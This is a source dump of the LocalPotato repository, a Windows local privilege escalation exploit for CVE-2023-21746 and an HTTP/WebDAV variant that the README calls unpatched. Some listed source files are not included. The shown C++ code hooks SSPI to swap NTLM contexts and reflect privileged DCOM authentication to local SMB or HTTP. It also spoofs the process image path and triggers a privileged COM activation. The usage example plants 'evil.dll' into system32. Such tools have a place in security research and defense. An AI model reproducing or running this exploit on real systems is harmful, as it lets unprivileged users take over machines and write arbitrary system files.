├── DCOMReflection.h
├── LocalPotato.vcxproj.user
├── HTTPClient.h
├── IUnknownObj.h
├── PotatoTrigger.h
├── IUnknownObj.cpp
├── LICENSE
├── LocalPotato.sln
├── README.md
├── LocalPotato.vcxproj.filters
├── IStorageTrigger.h
├── .gitattributes
├── SMBClient.h
├── DCOMReflection.cpp
├── LocalPotato.cpp
├── PotatoTrigger.cpp
├── IStorageTrigger.cpp
├── .gitignore
├── LocalPotato.vcxproj
├── HTTPClient.cpp
└── SMBClient.cpp
/DCOMReflection.h:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 |
3 | #pragma once
4 | #include "Windows.h"
5 |
6 | #define NTLM_RESERVED_OFFSET 32
7 |
8 | void HookSSPIForDCOMReflection();
9 |
--------------------------------------------------------------------------------
/LocalPotato.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/HTTPClient.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Windows.h"
3 |
4 | #define SEC_SUCCESS(Status) ((Status) >= 0)
5 | #define DEFAULT_BUFLEN 16192
6 | #define MessageAttribute ISC_REQ_NO_INTEGRITY
7 |
8 | void HTTPAuthenticatedGET();
--------------------------------------------------------------------------------
/IUnknownObj.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Objidl.h"
3 |
4 | class IUnknownObj : public IUnknown {
5 | private:
6 | int m_cRef;
7 | public:
8 | IUnknownObj();
9 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject);
10 | ULONG STDMETHODCALLTYPE AddRef();
11 | ULONG STDMETHODCALLTYPE Release();
12 | };
--------------------------------------------------------------------------------
/PotatoTrigger.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Windows.h"
3 | #include "winternl.h"
4 |
5 | #define DEFAULT_BUFLEN 8192
6 |
7 | void InitComServer();
8 | HRESULT UnmarshallIStorage(PWCHAR clsidStr);
9 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait);
10 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen);
11 |
12 | typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
--------------------------------------------------------------------------------
/IUnknownObj.cpp:
--------------------------------------------------------------------------------
1 | #include "IUnknownObj.h"
2 |
3 | IUnknownObj::IUnknownObj() {
4 | m_cRef = 1;
5 | return;
6 | }
7 |
8 | ///////////////////////IUknown Interface
9 | HRESULT IUnknownObj::QueryInterface(const IID& riid, void** ppvObj) {
10 | // Always set out parameter to NULL, validating it first.
11 | if (!ppvObj) {
12 | //printf("QueryInterface INVALID\n");
13 | return E_INVALIDARG;
14 | }
15 | if (riid == IID_IUnknown)
16 | {
17 | *ppvObj = static_cast(this);
18 | reinterpret_cast(*ppvObj)->AddRef();
19 | }
20 | else
21 | {
22 | *ppvObj = NULL;
23 | //printf("QueryInterface NOINT\n");
24 | return E_NOINTERFACE;
25 | }
26 | // Increment the reference count and return the pointer.
27 | return S_OK;
28 | }
29 |
30 | ULONG IUnknownObj::AddRef() {
31 | m_cRef++;
32 | return m_cRef;
33 | }
34 |
35 | ULONG IUnknownObj::Release() {
36 | // Decrement the object's internal counter.
37 | ULONG ulRefCount = m_cRef--;
38 | return ulRefCount;
39 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 decoder-it
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/LocalPotato.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31229.75
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LocalPotato", "LocalPotato.vcxproj", "{1B3C96A3-F698-472B-B786-6FED7A205159}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x64.ActiveCfg = Debug|x64
17 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x64.Build.0 = Debug|x64
18 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x86.ActiveCfg = Debug|Win32
19 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x86.Build.0 = Debug|Win32
20 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x64.ActiveCfg = Release|x64
21 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x64.Build.0 = Release|x64
22 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x86.ActiveCfg = Release|Win32
23 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {89E9D29C-1A95-4B7F-AF1C-2071D4AF38D2}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LocalPotato
2 | Another Local Windows privilege escalation using a new potato technique ;)
3 |
4 | The LocalPotato attack is a type of NTLM reflection attack that targets local authentication. This attack allows for arbitrary file read/write and elevation of privilege.
5 |
6 | **NOTE: The SMB scenario has been fixed by Microsoft in the January 2023 Patch Tuesday with the [CVE-2023-21746](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-21746). If you run this exploit against a patched machine it won't work.**
7 |
8 | More technical details at --> https://www.localpotato.com/localpotato_html/LocalPotato.html
9 |
10 | **NOTE2: The HTTP/WebDAV scenario is currently unpatched (Microsoft decision, we reported it) and works on updated systems.**
11 |
12 | More technical details at --> https://decoder.cloud/2023/11/03/localpotato-http-edition/
13 |
14 |
15 |
16 | ## Usage
17 |
18 | ```
19 |
20 | LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
21 | by splinter_code & decoder_it
22 |
23 |
24 | Mandatory Args:
25 | SMB:
26 | -i Source file to copy for SMB
27 | -o Output file for SMB - do not specify the drive letter
28 | HTTP:
29 | -r host/ip for HTTP
30 | -u target URL for HTTP
31 |
32 | Optional Args:
33 | -c CLSID (Default {854A20FB-2D44-457D-992F-EF13785D2B51})
34 | -p COM server port (Default 10271)
35 |
36 | Examples:
37 | - SMB:
38 | LocalPotato.exe -i c:\hacker\evil.dll -o windows\system32\evil.dll
39 | - HTTP/WebDAV:
40 | LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato.local
41 | ```
42 |
43 | ## Demo
44 |
45 | - SMB:
46 | 
47 |
48 | - HTTP/WebDAV
49 | 
50 |
51 |
52 | ## Authors:
53 | - [@decoder_it](https://twitter.com/decoder_it)
54 | - [@splinter_code](https://twitter.com/splinter_code)
55 |
--------------------------------------------------------------------------------
/LocalPotato.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 | Source Files
38 |
39 |
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 | Header Files
55 |
56 |
57 | Header Files
58 |
59 |
60 |
--------------------------------------------------------------------------------
/IStorageTrigger.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "Objidl.h"
3 |
4 | class IStorageTrigger : public IMarshal, public IStorage {
5 | private:
6 | IStorage* _stg;
7 | int m_cRef;
8 | public:
9 | IStorageTrigger(IStorage* stg);
10 | HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
11 | HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize);
12 | HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid);
13 | HRESULT STDMETHODCALLTYPE MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags);
14 | HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream* pStm);
15 | HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv);
16 | HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
17 | HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest);
18 | HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg);
19 | HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm);
20 | HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR* pwcsName);
21 | HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum);
22 | HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags);
23 | HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg);
24 | HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm);
25 | HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName);
26 | HRESULT STDMETHODCALLTYPE Revert();
27 | HRESULT STDMETHODCALLTYPE SetClass(const IID& clsid);
28 | HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime);
29 | HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
30 | HRESULT STDMETHODCALLTYPE Stat(STATSTG* pstatstg, DWORD grfStatFlag);
31 |
32 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject);
33 | ULONG STDMETHODCALLTYPE AddRef();
34 | ULONG STDMETHODCALLTYPE Release();
35 | };
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/SMBClient.h:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 |
3 | #pragma once
4 | #include "Windows.h"
5 |
6 | #define SEC_SUCCESS(Status) ((Status) >= 0)
7 | #define DEFAULT_BUFLEN 8192
8 | #define MessageAttribute ISC_REQ_INTEGRITY
9 | #define TargetNameSpn L"cifs/127.0.0.1"
10 |
11 | typedef union usmb2_header {
12 | struct
13 | {
14 | BYTE ProtocolID[4];
15 | BYTE StructureSize[2];
16 | BYTE CreditCharge[2];
17 | BYTE ChannelSequence[2];
18 | BYTE Reserved[2];
19 | BYTE Command[2];
20 | BYTE CreditRequest[2];
21 | BYTE Flags[4];
22 | BYTE NextCommand[4];
23 | long long MessageID;
24 | BYTE ProcessID[4];
25 | BYTE TreeID[4];
26 | BYTE SessionID[8];
27 | BYTE Signature[16];
28 | } smb2_header;
29 | BYTE buffer[64];
30 | };
31 |
32 | typedef union usmb2_data {
33 | struct {
34 | BYTE StructureSize[2];
35 | BYTE Flags[1];
36 | BYTE SecurityMode[1];
37 | BYTE Capabilities[4];
38 | BYTE Channel[4];
39 | BYTE SecurityBufferOffset[2];
40 | BYTE SecurityBufferLength[2];
41 | BYTE PreviousSessionID[8];
42 | } smb2_data;
43 | BYTE buffer[24];
44 | };
45 |
46 | union myint {
47 | unsigned int i;
48 | char buffer[4];
49 | };
50 |
51 | union myshort {
52 | unsigned short int i;
53 | char buffer[2];
54 | };
55 |
56 | typedef struct {
57 | short structured_size;;
58 | short flags;
59 | short path_offset;
60 | short path_len;
61 | } tree_connect_request_header;
62 |
63 | typedef union {
64 | tree_connect_request_header trh;
65 | char buffer[sizeof(trh)];
66 | } u_tree_connect_request_header;
67 |
68 | typedef struct {
69 | short StructuredSize;
70 | byte SecurityFlags;
71 | byte RequestedOplockLevel;
72 | int ImpersonationLevel;
73 | char SmbCreateFlags[8];
74 | char Reserved[8];
75 | char DesiredAccess[4];
76 | char FileAttribute[4];
77 | char ShareAccess[4];
78 | char CreateDisposition[4];
79 | char CreateOptions[4];
80 | short NameOffset;
81 | short NameLength;
82 | int CreateContextsOffset;
83 | int CreateContextsLength;
84 | } create_request;
85 |
86 | typedef union
87 | {
88 | create_request cr;
89 | char buffer[sizeof(cr)];
90 | } u_create_request;
91 |
92 | typedef struct {
93 | short StructureSize;
94 | short DataOffset;
95 | int WriteLen;
96 | long long FileOffset;
97 | char fileid[16];
98 | int RemainingBytes;
99 | char filler[8];
100 | } write_request;
101 |
102 | typedef union {
103 | write_request wr;
104 | char buffer[sizeof(wr)];
105 | } u_write_request;
106 |
107 | void SMBAuthenticatedFileWrite();
108 |
109 |
--------------------------------------------------------------------------------
/DCOMReflection.cpp:
--------------------------------------------------------------------------------
1 | #define SECURITY_WIN32
2 | #pragma comment(lib, "Secur32.lib")
3 |
4 | #include "Windows.h"
5 | #include "stdio.h"
6 | #include "sspi.h"
7 | #include "DCOMReflection.h"
8 |
9 | // global vars used also by SMBClient
10 | HANDLE event1;
11 | HANDLE event2;
12 | HANDLE event3;
13 | char SystemContext[8];
14 | char UserContext[8];
15 | BOOL ntlmType3Received;
16 |
17 | SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) {
18 | SECURITY_STATUS status;
19 | unsigned char* bufferPtr;
20 | if (ntlmType3Received) // we usually land here when the client want to alter the rpc context to perform the call with the integrity level. We want to avoid that.
21 | return SEC_E_INTERNAL_ERROR;
22 | if (pInput != NULL && pInput->cBuffers > 0) {
23 | for (unsigned long i = 0; i < pInput->cBuffers; i++) {
24 | bufferPtr = (unsigned char*)pInput->pBuffers[i].pvBuffer;
25 | if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') {
26 | if (bufferPtr[8] == 1) { // if the buffer is for ntlm type 1
27 | printf("[*] Received DCOM NTLM type 1 authentication from the privileged client\n");
28 | }
29 | if (bufferPtr[8] == 3) { // if the buffer is for ntlm type 3
30 | printf("[*] Received DCOM NTLM type 3 authentication from the privileged client\n");
31 | ntlmType3Received = TRUE;
32 | }
33 | }
34 | }
35 | }
36 | status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp);
37 | if (ntlmType3Received)
38 | SetEvent(event3);
39 | else {
40 | // here we swap the 2 contexts for performing the DCOM to SMB reflection
41 | if (pOutput != NULL && pOutput->cBuffers > 0) {
42 | for (unsigned long i = 0; i < pOutput->cBuffers; i++) {
43 | bufferPtr = (unsigned char*)pOutput->pBuffers[i].pvBuffer;
44 | if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') {
45 | if (bufferPtr[8] == 2) { // if the buffer is for ntlm type 2
46 | memcpy(SystemContext, bufferPtr + NTLM_RESERVED_OFFSET, 8);
47 | SetEvent(event1);
48 | WaitForSingleObject(event2, INFINITE);
49 | // for local auth reflection we don't really need to relay the entire packet
50 | // swapping the context in the Reserved bytes is enough
51 | memcpy(bufferPtr + NTLM_RESERVED_OFFSET, UserContext, 8);
52 | printf("[+] RPC Server Auth Context swapped with the Current User\n");
53 | }
54 | }
55 | }
56 | }
57 | }
58 | return status;
59 | }
60 |
61 | void HookSSPIForDCOMReflection() {
62 | event1 = CreateEvent(NULL, TRUE, FALSE, NULL);
63 | event2 = CreateEvent(NULL, TRUE, FALSE, NULL);
64 | event3 = CreateEvent(NULL, TRUE, FALSE, NULL);
65 | ntlmType3Received = FALSE;
66 | PSecurityFunctionTableW table = InitSecurityInterfaceW();
67 | table->AcceptSecurityContext = AcceptSecurityContextHook;
68 | }
--------------------------------------------------------------------------------
/LocalPotato.cpp:
--------------------------------------------------------------------------------
1 | #include "Windows.h"
2 | #include "stdio.h"
3 | #include "DCOMReflection.h"
4 | #include "PotatoTrigger.h"
5 | #include "SMBClient.h"
6 | #include "HTTPClient.h"
7 |
8 | void usage();
9 | wchar_t* destfname = NULL;
10 | wchar_t* inputfname = NULL;
11 | wchar_t* httpHost = NULL;
12 | wchar_t* httpPageUrl = NULL;
13 |
14 | int wmain(int argc, wchar_t** argv)
15 | {
16 | printf("\n\n\t LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV) \n");
17 | printf("\t by splinter_code & decoder_it\n\n");
18 | WCHAR defaultClsidStr[] = L"{854A20FB-2D44-457D-992F-EF13785D2B51}"; // Print Notify Service CLSID
19 | WCHAR defaultComPort[] = L"10247";
20 | PWCHAR clsidStr = defaultClsidStr;
21 | PWCHAR comPort = defaultComPort;
22 | HANDLE hTread;
23 | int cnt = 1;
24 |
25 | while ((argc > 1) && (argv[cnt][0] == '-'))
26 | {
27 | switch (argv[cnt][1])
28 | {
29 | case 'c':
30 | ++cnt;
31 | --argc;
32 | clsidStr = argv[cnt];
33 | break;
34 | case 'p':
35 | ++cnt;
36 | --argc;
37 | comPort = argv[cnt];
38 | break;
39 | case 'h':
40 | usage();
41 | exit(0);
42 | case 'o':
43 | ++cnt;
44 | --argc;
45 | if (*argv[cnt] == '\\')
46 | ++argv[cnt];
47 | destfname = argv[cnt];
48 | break;
49 | case 'i':
50 | ++cnt;
51 | --argc;
52 | inputfname = argv[cnt];
53 | break;
54 | case 'u':
55 | ++cnt;
56 | --argc;
57 | httpPageUrl = argv[cnt];
58 | break;
59 | case 'r':
60 | ++cnt;
61 | --argc;
62 | httpHost = argv[cnt];
63 | break;
64 | default:
65 | printf("Wrong Argument: %S\n", argv[cnt]);
66 | usage();
67 | exit(-1);
68 | }
69 | ++cnt;
70 | --argc;
71 | }
72 |
73 | if (destfname == NULL && httpHost == NULL) {
74 | usage();
75 | return 1;
76 | }
77 |
78 | if (destfname != NULL && inputfname == NULL)
79 | {
80 | usage();
81 | return 1;
82 | }
83 |
84 | if (httpHost != NULL && httpPageUrl == NULL)
85 | {
86 | usage();
87 | return 1;
88 | }
89 |
90 | if(destfname != NULL)
91 | hTread = CreateThread(0, 0, reinterpret_cast(SMBAuthenticatedFileWrite), NULL, 0, NULL);
92 | else
93 | hTread = CreateThread(0, 0, reinterpret_cast(HTTPAuthenticatedGET), NULL, 0, NULL);
94 | HookSSPIForDCOMReflection();
95 | PotatoTrigger(clsidStr, comPort, hTread);
96 | if (WaitForSingleObject(hTread, 3000) == WAIT_TIMEOUT) {
97 | printf("[-] The privileged process failed to communicate with our COM Server :(");
98 | }
99 | return 0;
100 | }
101 |
102 | void usage()
103 | {
104 | printf("\n");
105 | printf("Mandatory Args: \n"
106 | "SMB:\n\t-i Source file to copy for SMB\n"
107 | "\t-o Output file for SMB - do not specify the drive letter\n"
108 | "HTTP:\n\t-r host/ip for HTTP\n"
109 | "\t-u target URL for HTTP\n"
110 | );
111 | printf("\nOptional Args: \n"
112 | "-c CLSID (Default {854A20FB-2D44-457D-992F-EF13785D2B51})\n"
113 | "-p COM server port (Default 10271)\n"
114 | );
115 | printf("\nExamples: \n"
116 | "- SMB:\n\t LocalPotato.exe -i c:\\hacker\\evil.dll -o windows\\system32\\evil.dll\n"
117 | "- HTTP/WebDAV:\n\t LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato.local\n\n"
118 | );
119 | }
--------------------------------------------------------------------------------
/PotatoTrigger.cpp:
--------------------------------------------------------------------------------
1 | #include "PotatoTrigger.h"
2 | #include "stdio.h"
3 | #include "wincrypt.h"
4 | #include "objbase.h"
5 | #include "IUnknownObj.h"
6 | #include "IStorageTrigger.h"
7 |
8 | #pragma comment (lib, "Crypt32.lib")
9 | #pragma comment (lib, "Rpcrt4.lib")
10 |
11 | char gOxid[8];
12 | char gOid[8];
13 | char gIpid[16];
14 |
15 | void InitComServer() {
16 | PROCESS_BASIC_INFORMATION pebInfo;
17 | SOLE_AUTHENTICATION_SERVICE authInfo;
18 | ULONG ReturnLength = 0;
19 | wchar_t oldImagePathName[MAX_PATH];
20 | wchar_t newImagePathName[] = L"System";
21 | WCHAR spnInfo[] = L"cifs/127.0.0.1";
22 | pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
23 | NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pebInfo, sizeof(pebInfo), &ReturnLength);
24 | // save the old image path name and patch with the new one
25 | memset(oldImagePathName, 0, sizeof(wchar_t) * MAX_PATH);
26 | memcpy(oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length);
27 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, newImagePathName, sizeof(newImagePathName));
28 | // init COM runtime
29 | CoInitialize(NULL);
30 | authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
31 | authInfo.pPrincipalName = spnInfo; // this is important for relaying to SMB locally
32 | CoInitializeSecurity(NULL, 1, &authInfo, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, NULL);
33 | // Restore PEB ImagePathName
34 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length);
35 | }
36 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait) {
37 | IMoniker* monikerObj;
38 | IBindCtx* bindCtx;
39 | IUnknown* IUnknownObj1Ptr;
40 | RPC_STATUS rpcStatus;
41 | HRESULT result;
42 | PWCHAR objrefBuffer = (PWCHAR)CoTaskMemAlloc(DEFAULT_BUFLEN);
43 | char* objrefDecoded = (char*)CoTaskMemAlloc(DEFAULT_BUFLEN);
44 | DWORD objrefDecodedLen = DEFAULT_BUFLEN;
45 | // Init COM server
46 | InitComServer();
47 | // we create a random IUnknown object as a placeholder to pass to the moniker
48 | IUnknownObj IUnknownObj1 = IUnknownObj();
49 | IUnknownObj1.QueryInterface(IID_IUnknown, (void**)&IUnknownObj1Ptr);
50 | result = CreateObjrefMoniker(IUnknownObj1Ptr, &monikerObj);
51 | if (result != S_OK) {
52 | printf("[!] CreateObjrefMoniker failed with HRESULT %d\n", result);
53 | exit(-1);
54 | }
55 | CreateBindCtx(0, &bindCtx);
56 | monikerObj->GetDisplayName(bindCtx, NULL, (LPOLESTR*)&objrefBuffer);
57 | printf("[*] Objref Moniker Display Name = %S\n", objrefBuffer);
58 | // the moniker is in the format objref:[base64encodedobject]: so we skip the first 7 chars and the last colon char
59 | base64Decode(objrefBuffer + 7, (int)(wcslen(objrefBuffer) - 7 - 1), objrefDecoded, &objrefDecodedLen);
60 | // we copy the needed data to communicate with our local com server (this process)
61 | memcpy(gOxid, objrefDecoded + 32, 8);
62 | memcpy(gOid, objrefDecoded + 40, 8);
63 | memcpy(gIpid, objrefDecoded + 48, 16);
64 | // we register the port of our local com server
65 | rpcStatus = RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR)comPort, NULL);
66 | if (rpcStatus != S_OK) {
67 | printf("[!] RpcServerUseProtseqEp failed with rpc status code %d\n", rpcStatus);
68 | exit(-1);
69 | }
70 | // we register the auth info for NTLM on the COM server
71 | RpcServerRegisterAuthInfo(NULL, RPC_C_AUTHN_WINNT, NULL, NULL);
72 | result = UnmarshallIStorage(clsidStr);
73 | if (result == CO_E_BAD_PATH) {
74 | printf("[!] CLSID %S not found. Error Bad path to object. Exiting...\n", clsidStr);
75 | exit(-1);
76 | }
77 | if (hEventWait) WaitForSingleObject(hEventWait, 10000);
78 | IUnknownObj1Ptr->Release();
79 | IUnknownObj1.Release();
80 | bindCtx->Release();
81 | monikerObj->Release();
82 | CoTaskMemFree(objrefBuffer);
83 | CoTaskMemFree(objrefDecoded);
84 | CoUninitialize();
85 | }
86 |
87 | HRESULT UnmarshallIStorage(PWCHAR clsidStr) {
88 | IStorage* stg = NULL;
89 | ILockBytes* lb = NULL;
90 | MULTI_QI qis[1];
91 | CLSID targetClsid;
92 | HRESULT result;
93 | //Create IStorage object
94 | CreateILockBytesOnHGlobal(NULL, TRUE, &lb);
95 | StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
96 | //Initialze IStorageTrigger object
97 | IStorageTrigger* IStorageTriggerObj = new IStorageTrigger(stg);
98 | CLSIDFromString(clsidStr, &targetClsid);
99 | qis[0].pIID = &IID_IUnknown;
100 | qis[0].pItf = NULL;
101 | qis[0].hr = 0;
102 | //Call CoGetInstanceFromIStorage
103 | printf("[*] Calling CoGetInstanceFromIStorage with CLSID:%S\n", clsidStr);
104 | result = CoGetInstanceFromIStorage(NULL, &targetClsid, NULL, CLSCTX_LOCAL_SERVER, IStorageTriggerObj, 1, qis);
105 | return result;
106 | }
107 |
